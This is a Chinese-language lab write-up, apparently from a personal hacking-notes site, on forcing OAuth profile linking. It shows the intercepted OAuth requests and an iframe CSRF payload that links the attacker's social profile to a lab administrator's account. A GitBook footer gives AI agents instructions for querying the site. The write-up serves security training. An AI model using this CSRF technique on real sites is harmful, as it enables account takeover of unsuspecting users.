> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/oauth-authentication/forced-oauth-profile-linking.md).

# 强制 OAuth 资料链接

### 强制 OAuth 资料关联

**实验说明**

这个实验室提供了一项功能，可以将社交网络个人资料链接到用户账户，以通过 OAuth 进行登录，而不是使用传统认证。/ 由于客户端 OAuth 流的实现不安全，攻击者可以操纵这一机制，将自己的社交资料关联到其他用户的账户。

目标：/ 发起一次 CSRF 攻击，将你的社交网络资料链接到网站管理员账户，然后访问管理员面板并删除用户 **carlos**.

约束：

* 管理员会系统地打开从运行服务器发送的任何内容。
* 管理员在博客网站上始终保持活跃会话。

**可用账户**

* 网站账户： `wiener / peter`
* 社交网络资料： `peter.wiener / hotdog`

<figure><img src="/files/3eaa8ce67736d97eca7c131f70395d02ddcfdd5d" alt=""><figcaption></figcaption></figure>

**OAuth 机制分析**

* 该网站允许通过登录名和密码进行传统登录。

<figure><img src="/files/18613c3a9683a832409aa5abab1d81c92da3b02b" alt=""><figcaption></figcaption></figure>

也支持通过 OAuth（社交网络）登录。

<figure><img src="/files/c88b91d794067cd499ffd8d126ff66c2501e99c1" alt=""><figcaption></figcaption></figure>

* 现有用户可以将社交网络资料关联到自己的账户。

在关联过程中，会向认证端点发送一个 OAuth 请求：

{% code overflow="wrap" %}

```http
GET /auth?client_id=s4z8vs36ubaet908r8qfn&redirect_uri=https://0ac30047040d749984bf3b740088002a.web-security-academy.net/oauth-linking&response_type=code&scope=openid%20profile%20email HTTP/2
```

{% endcode %}

身份验证后，用户会被重定向到一个包含 OAuth 代码的 URL：

```http
GET /oauth-linking?code=pYNeIWIFHaUh_fmTub7fAYLzcyNAEvDoKMh9iljTU1Q HTTP/2
```

此代码：

* 只能使用一次
* 用于将 OAuth 资料链接到当前已认证的账户

<figure><img src="/files/e207cb1282808381d7fb2cb6da58592f0f84afc9" alt=""><figcaption></figcaption></figure>

**漏洞利用**

1. 开始在你的账户和你的社交网络资料之间的链接流程。
2. 拦截并复制 `/OAuth-linking?code=...` URL。

<figure><img src="/files/8f0d89651a7196ceb1559d25ea5fb91f60d99c82" alt=""><figcaption></figcaption></figure>

丢弃该请求，以免代码被消耗。

从运行服务器，通过 CSRF 攻击将此 URL 发送给管理员，例如使用 iframe

{% code overflow="wrap" %}

```javascript
<iframe src="https://0ac30047040d749984bf3b740088002a.web-security-academy.net/oauth-linking?code=pYNeIWIFHaUh_fmTub7fAYLzcyNAEvDoKMh9iljTU1Q"></iframe>
```

{% endcode %}

管理员加载页面：

<figure><img src="/files/9ae986907cb5c8854569328d900d1b29c425cc31" alt=""><figcaption></figcaption></figure>

OAuth 代码已被消耗

<figure><img src="/files/e3622ae1f9ba3b186ce252a92fcee2cd86cf0f3c" alt=""><figcaption></figcaption></figure>

攻击者的 OAuth 资料已链接到管理员账户

<figure><img src="/files/9ee554e4030074bd945dabd6db27114c55ee94bb" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web/oauth-authentication/forced-oauth-profile-linking.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.